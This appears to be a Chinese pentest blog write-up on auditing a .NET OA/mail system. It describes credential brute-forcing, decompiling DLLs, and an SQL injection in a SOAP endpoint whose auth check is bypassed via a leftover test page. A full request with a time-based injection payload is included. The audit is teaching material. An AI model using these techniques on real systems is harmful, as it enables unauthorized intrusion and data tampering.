在一次授权的实战测试中,需要拿到某OA的权限,经过top500的姓名+top100的密码,爆破出来几个账户,有了账户,进入oa内部,通过上传很轻松的就拿到了shell,但是客户不满足于此,要求找到未授权的RCE.有了shell,可以把源码脱下来,但这OA是.net+mssql开发的,我又不懂.net,没办法只能硬着头皮上了。
过程中涉及的一些aspx的审计知识都是根据项目需要百度现学+猜理解的,分享出来给一些像我一样完全不懂.net 小白提供一些应急审计的思路,如果有错误,请大佬们多多指教。
由于我对aspx的站点一点不懂,所以首先需要了解一些aspx审计的一些知识,通过一番百度,大概明白了aspx的代码基本都是封装在bin目录下的dll文件中的,这里大概分为两种情况:
我们打开一个aspx页面,发现
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="SSOExample.aspx.cs" Inherits="Richfit.Garnet.Web.SSOExample" %>
Inherits对应的就是bin目录下dll文件的位置,这里对应的是bin目录下Richfit.Garnet.Web.dll,我们直接反编译Richfit.Garnet.Web.dll,然后查找SSOExample就可以找到该页面的代码内容。
同样打开aspx页面,发现代码:
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="UpdateApplication.aspx.cs" Inherits="CustomizedWCFUI.UpdateApplication" %>
我们根据Inherits的值CustomizedWCFUI去找dll文件,是找不到的。这种情况下是把整个项目封装成一个dll了(一般和目录名对应),比如在目标中我们的地址是http://www.xxx.com/MailServer/login.aspx,那么就去寻找bin目录下Mailserver.dll
然后对应着一级一级去找对应的代码。
找到了对应的dll文件之后,开始进行反编译,查找代码,这里我用的是ILspy,我们直接把dll文件拖进去即可
这里就可以看到Mailserver下面有很多的函数。
首先来看一下webservice/MailWebService.asmx
这里我挑了了一个RestoreEmail来测试,这里asmx接口是给了测试样例的:
POST /mailserver/WebService/MailWebService.asmx HTTP/1.1
Host: xxx
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://erpjx.com/MailWebService/RestoreEmail"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<RestoreEmail xmlns="http://erpjx.com/MailWebService/">
<TimeStamp>string</TimeStamp>
<VerifyCode>string</VerifyCode>
<UserGuid>string</UserGuid>
<MailGuid>string</MailGuid>
</RestoreEmail>
</soap:Body>
</soap:Envelope>
从样例中可以看到我们可控的地方有四个参数,我们需要了解一下这四个参数是如何使用的。
根据前面的学习,我们需要到
Mailserver.WebService.MailWebService下去寻找
我们直接找到RestoreEmail函数查看代码:
public string RestoreEmail(string TimeStamp, string VerifyCode, string UserGuid, string MailGuid)
{
AjaxResultModel ajaxResultModel = new AjaxResultModel();
if (SystemSettingClass.IsValidRequest(TimeStamp, VerifyCode, ref ajaxResultModel))
{
using (SqlDataFactory sqlDataFactory = new SqlDataFactory(PublicSetting.RawDBHelper_ApplicationSetting_ConnectionStringKey, true))
{
ajaxResultModel.IsSuccess = sqlDataFactory.ExecuteSQLBool(string.Concat(new string[]
{
"update Inbox set Folder='",
0.ToString(),
"' where MailGuid='",
MailGuid,
"' and UserGuid='",
UserGuid,
"'"
}));
}
}
return Serializer.SerializeJSON<AjaxResultModel>(ajaxResultModel);
}
在这里可以很明显的看到将MailGuid和UserGuid直接带入数据库查询,而这两个参数是我们可控的,这里便产生了一个update型的sql注入。
但在数据库执行前有一个if (SystemSettingClass.IsValidRequest(TimeStamp, VerifyCode, ref ajaxResultModel))
,需要返回true,才可以进入if语句,进行数据库查询。
跟进IsValidRequest
public static bool IsValidRequest(string TimeStamp, string VerifyCode, ref AjaxResultModel AjaxResultObject)
{
bool flag = MD5.MD5Data(PublicSetting.MD5String + TimeStamp) == VerifyCode;
if (!flag)
{
AjaxResultObject.ErrorMsg = "无效的验证码,您无权访问此服务!";
}
return flag;
}
这里通过一个动态的md5校验码来验证是否有权限访问,而这里的PublicSetting.MD5String我们是无法确定的,看来无法利用啊,只好去查找别的点。
在看到/mailserver/Test/test.aspx 的代码时,突然发现个好东西:
public class test : Page
{
protected void Page_Load(object sender, EventArgs e)
{
string text = "2971ABC5-AC17-455C-AC33-C91066707F9C";
string text2 = "王杨治";
string text3 = DateTime.Now.Ticks.ToString();
string text4 = MD5.MD5Data(PublicSetting.MD5String + text3);
base.Response.Write(string.Concat(new string[]
{
"ComposeInterface.aspx?TimeStamp=",
text3,
"&VerifyCode=",
text4,
"&SenderUserGuid=",
text,
"&SenderName=",
text2
}));
}
}
}
这应该是程序员为了做测试写的一个测试,但在上线时没有删除,里面MD5.MD5Data(PublicSetting.MD5String + text3)
的代码有点眼熟啊,不就是我们前面进行VerifyCode验证的代码吗,这里程序员还贴心的把执行结果输出到页面中去,使用他可以直接绕过IsValidRequest的判断啊
那么直接拿到TimeStamp=637475525389254815&VerifyCode=727de04ad204d7b00ed1a1ff66943456
去构造webservice的数据包
POST /mailserver/WebService/MailWebService.asmx HTTP/1.1
Host: xxx
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://erpjx.com/MailWebService/RestoreEmail"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<RestoreEmail xmlns="http://erpjx.com/MailWebService/">
<TimeStamp>637475525389254815</TimeStamp>
<VerifyCode>727de04ad204d7b00ed1a1ff66943456</VerifyCode>
<UserGuid>string';waitfor delay '0:0:5'--</UserGuid>
<MailGuid>string</MailGuid>
</RestoreEmail>
</soap:Body>
</soap:Envelope>
于是构造数据包post发送,成功延时,收获sql注入一枚。